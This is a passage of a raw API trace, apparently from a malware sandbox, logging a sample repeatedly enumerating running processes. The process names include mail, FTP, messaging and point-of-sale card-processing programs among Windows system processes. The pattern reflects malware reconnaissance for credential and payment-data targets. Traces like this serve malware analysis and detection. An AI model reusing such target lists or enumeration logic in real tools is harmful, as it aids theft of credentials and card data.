cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0265.880] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0265.883] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0265.886] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0265.888] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0265.890] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0265.893] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0265.896] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0265.899] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0265.901] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0265.903] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0265.906] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0265.909] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0265.911] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0266.099] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0266.102] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0266.104] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0266.106] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0266.109] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0266.111] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0266.114] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0266.116] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0266.118] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0266.120] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0266.122] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0266.124] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0266.127] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0266.129] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0266.131] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0266.134] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0266.136] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0266.138] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0266.140] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0266.142] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0266.144] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0266.146] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0266.149] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0266.151] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0266.152] CloseHandle (hObject=0x2200) returned 1 [0266.153] Sleep (dwMilliseconds=0x64) [0266.154] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0266.206] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.209] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.211] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.214] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.216] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.220] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.222] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.224] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.227] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.230] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.232] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.266] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.269] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.272] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.274] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.278] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.281] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.283] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.285] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.288] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0266.290] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0266.293] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0266.296] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.298] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0266.301] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0266.303] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0266.305] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0266.307] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0266.310] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0266.313] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0266.316] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.318] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0266.320] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0266.323] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0266.325] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.327] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0266.382] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0266.385] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0266.387] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0266.390] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0266.393] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0266.395] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0266.397] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0266.400] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0266.403] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0266.406] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 